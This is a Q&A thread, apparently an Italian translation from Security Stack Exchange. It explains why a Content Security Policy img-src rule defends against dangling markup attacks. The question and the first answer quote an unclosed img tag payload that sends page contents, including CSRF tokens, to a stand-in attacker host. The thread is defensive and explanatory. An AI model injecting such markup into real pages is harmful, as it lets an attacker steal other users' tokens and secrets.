Perché CSP è necessario per proteggere dalla perdita di img-src?

16

GitHub spiega il problema con img-src in "Viaggio post-CSP di GitHub" :

A tag with an unclosed quote will capture all output up to the next matching quote. This could include security sensitive content on the pages such as:

<img src='https://some-evil-site.com/log_csrf?html= <form action="https://github.com/account/public_keys/19023812091023"> ... <input type="hidden" name="csrf_token" value="some_csrf_token_value"> </form>

The resulting image element will send a request to https://some_evilsite.com/log_csrf?html=...some_csrf_token_value.... As a result, an attacker can leverage this dangling markup attack to exfiltrate CSRF tokens to a site of their choosing.

In che cosa differisce dalla pressione della pagina sorgente sulla pagina e dall'invio manuale del contenuto? Se è solo per le pagine in cui gli utenti possono inserire input, non dobbiamo impedire solo quei problemi con gli input aggiungendo convalide all'input? Non impedisci img src di altre fonti in tutto il codice?

    
posta griffon vulture 26.01.2017 - 08:53
fonte

2 risposte

27

Per essere chiari su come funziona l'attacco:

  • Un sito ti consente di inserire del testo che verrà successivamente visualizzato da qualche parte. Non filtra correttamente l'HTML.
  • Mallory immette <img src='https://some-evil-site.com/log_csrf?html= e invia un collegamento alla pagina ad Alice.
  • Alice visualizza la pagina e il resto della pagina con il contenuto segreto di Alice viene inviato a some-evil-site.com controllata da Mallory.

How does it differ from pressing page-source on the page and sending the content manually.

Visualizza la sorgente sul tuo computer, generata con le tue credenziali, in modo che non contenga nulla di nascosto. Il punto dell'attacco discusso nel post del blog è quello di "rubare" la fonte da qualcun altro (iniettando HTML) in modo da poter leggere i loro segreti.

If it is just for pages where users can insert input, don't we have to prevent only those issues on inputs by adding validations to the input?

Sì, dobbiamo farlo anche se implementiamo un CSP. Ma gli umani sono creature fallibili e potremmo commettere errori. Avere un CSP che blocca questo tipo di attacco potrebbe quindi essere buono come difesa in profondità.

Not prevent img src of other sources in all the code?

Se non si desidera consentire comunque le immagini da domini arbitrari, potrebbe essere utile autorizzare la whitelist dei domini da cui si desidera consentire le immagini e bloccare tutto il resto. Di nuovo, dovresti avere altri tipi di protezioni contro questo, ma non fa mai male avere un backup.

    
risposta data 26.01.2017 - 10:19
fonte
12

Se un utente preme "Visualizza origine" e invia i dati manualmente, è la loro scelta e nulla impedisce al sito. Tuttavia, le configurazioni CSP sono generalmente parte di una strategia di difesa in profondità: impediscono che accadano cose brutte, anche se qualcosa va storto.

In questo caso, tenteranno di eliminare eventuali errori di convalida dell'input, ma è davvero facile fare un errore o saltare un caso limite, specialmente dove si desidera consentire il contenuto dell'utente. Se funziona, le regole CSP non entreranno mai in gioco. Se commettono un errore, allora le restrizioni CSP iniziano ad applicarsi.

Questa regola specifica mira a impedire a un utente malintenzionato di includere contenuti che possono esfiltrare i dati su una pagina visualizzata da un utente legittimo. In altre parole, se possono inserire un tag su una pagina visualizzata da altri, saranno in grado di ottenere token CSRF specifici dell'utente, token di sessione o dettagli personali. Con la regola CSP in atto, però, il browser dell'utente legittimo sa che per le immagini devono essere utilizzati solo i domini specificati e non tenterà nemmeno di caricarli da qualsiasi altro dominio.

È un po 'come avere un allarme in casa tua, anche quando blocchi le porte e le finestre. Se le serrature sono perfette, non dovresti mai averne bisogno, ma a volte le persone commettono un errore e dimenticano di chiudere una finestra quando escono, nel qual caso l'allarme aiuta a minimizzare il danno.

    
risposta data 26.01.2017 - 10:12
fonte